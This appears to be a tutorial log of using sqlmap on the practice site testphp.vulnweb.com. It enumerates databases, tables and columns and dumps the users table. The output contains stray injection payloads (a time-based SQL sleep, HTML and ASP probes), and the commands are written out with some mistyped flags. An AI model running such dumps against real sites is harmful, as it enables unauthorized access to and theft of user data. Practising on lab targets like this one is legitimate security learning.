**Command, there Execution and Output Details**

➤➤ I am using Sqlmap to Conduct Attack on a website.

➤➤ First command that i am passing is to check databases of that website.

And the command is

$ sqlmap -u testphp.vulnweb.com/artists.php?artist=1 –dbs

[12:27:17] [INFO] fetching database names

**available databases [2]:**

**[1] acuart**

**[2] information\_schema**

--------------------------------------------------------------------------------------------------------------------------------------------

➤➤ After executing [sqlmap -u testphp.vulnweb.com/artists.php?artist=1 –dbs] it gives two Databases of that website.

➤➤ Names of those databases are 1.acuart 2.information\_schema.

➤➤ I will be performing operations on Acuart

---------------------------------------------------------------------------------------------------------------------------------------

➤➤ To Check tables of Acuart Database i am using this command

sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart –tables

➤➤ This gives list of tables in databse

[12:45:24] [INFO] fetching tables for database: 'acuart'

Database: acuart

[8 tables]

**+-----------+**

**| artists |**

**| carts |**

**| categ |**

**| featured |**

**| guestbook |**

**| pictures |**

**| products |**

**| users |**

**+-----------+**

---------------------------------------------------------------------------------------------------------------------------------

➤➤ To Dump database to localhost(my machine) i am using this command

$ sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users –dump

➤➤ Data of table is dumped in CSV file form

table 'acuart.users' dumped to CSV file **'/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'**

Table: users

[1 entry]

+---------------------------------+----------------------------------+------------------------------------------------------+------+--------------------+----------------+-------+-------------------------------------+

| cc | cart | name | pass | email | phone | uname | address |

+---------------------------------+----------------------------------+------------------------------------------------------+------+--------------------+----------------+-------+-------------------------------------+

| if(now()=sysdate(),sleep(15),0) | 53e65b66b4db3fce92fd1f03dc5ae072 | <marquee><h1>198991\*97996\*98991\*97996</h1></marquee> | test | sklovoit@gmail.com | +1 202 015 644 | test | "+response.write(268409241-50872)+" |

+---------------------------------+----------------------------------+------------------------------------------------------+------+--------------------+----------------+-------+-------------------------------------+

[14:00:57] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'

[14:00:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'

------------------------------------------------------------------------------------------

➤➤ to check the columns of a table present in the database Acuart i used this command - tablename - columns

sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart –T artists –columns

➤➤ It gives Columns of a table and its data type.

Table: artists

[3 columns]

**+-----------+-------------+**

**| Column | Type |**

**+-----------+-------------+**

**| adesc | text |**

**| aname | varchar(50) |**

**| artist\_id | int |**

**+-----------+-------------+**

----------------------------------------------------------------------------------------------------------------------------------

➤➤ to check all columns present in the database Acuart i used this command -database name - columns

sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart –columns

➤➤ This gives all tables and their Colunms present in a database

[3 columns]

**+----------+--------------+**

**| Column | Type |**

**+----------+--------------+**

**| mesaj | text |**

**| sender | varchar(150) |**

**| senttime | int |**

**+----------+--------------+**

**Database: acuart**

**Table: artists**

**[3 columns]**

**+-----------+-------------+**

**| Column | Type |**

**+-----------+-------------+**

**| adesc | text |**

**| aname | varchar(50) |**

**| artist\_id | int |**

**+-----------+-------------+**

**Database: acuart**

**Table: products**

**[5 columns]**

**+-------------+--------------+**

**| Column | Type |**

**+-------------+--------------+**

**| description | text |**

**| id | int unsigned |**

**| name | text |**

**| price | int unsigned |**

**| rewritename | text |**

**+-------------+--------------+**

**Database: acuart**

**Table: users**

**[8 columns]**

**+---------+--------------+**

**| Column | Type |**

**+---------+--------------+**

**| address | mediumtext |**

**| cart | varchar(100) |**

**| cc | varchar(100) |**

**| email | varchar(100) |**

**| name | varchar(100) |**

**| pass | varchar(100) |**

**| phone | varchar(100) |**

**| uname | varchar(100) |**

**+---------+--------------+**

**Database: acuart**

**Table: categ**

**[3 columns]**

**+--------+-------------+**

**| Column | Type |**

**+--------+-------------+**

**| cat\_id | int |**

**| cdesc | tinytext |**

**| cname | varchar(50) |**

**+--------+-------------+**

**Database: acuart**

**Table: carts**

**[3 columns]**

**+---------+--------------+**

**| Column | Type |**

**+---------+--------------+**

**| cart\_id | varchar(100) |**

**| item | int |**

**| price | int |**

**+---------+--------------+**

**Database: acuart**

**Table: featured**

**[2 columns]**

**+--------------+------+**

**| Column | Type |**

**+--------------+------+**

**| feature\_text | text |**

**| pic\_id | int |**

**+--------------+------+**

**Database: acuart**

**Table: pictures**

**[8 columns]**

**+--------+--------------+**

**| Column | Type |**

**+--------+--------------+**

**| a\_id | int |**

**| cat\_id | int |**

**| img | varchar(50) |**

**| pic\_id | int |**

**| plong | text |**

**| price | int |**

**| pshort | mediumtext |**

**| title | varchar(100) |**

**+--------+--------------+**

--------------------------------------------------------------------------------------------------------------------------

➤➤ To check the admin credentials Amoung the users i passed this command

sqlmap -u "testphp.vulnweb.com/artists.php?artist=1" –method "POST" –data "username=admin&password=admin&submit=Submit" -D acuart -T users –dum

➤➤ This command Check the user table and gives Admin credentials

Database: acuart

Table: users

[1 entry]

**+---------------------------------+----------------------------------+------------------------------------------------------+------+--------------------+----------------+-------+-------------------------------------+**

**| cc | cart | name | pass | email | phone | uname | address |**

**+---------------------------------+----------------------------------+------------------------------------------------------+------+--------------------+----------------+-------+-------------------------------------+**

**| if(now()=sysdate(),sleep(15),0) | 53e65b66b4db3fce92fd1f03dc5ae072 | <marquee><h1>198991\*97996\*98991\*97996</h1></marquee> | test | sklovoit@gmail.com | +1 202 015 644 | test | "+response.write(268409241-50872)+" |**

**+---------------------------------+----------------------------------+------------------------------------------------------+------+--------------------+----------------+-------+-------------------------------------+**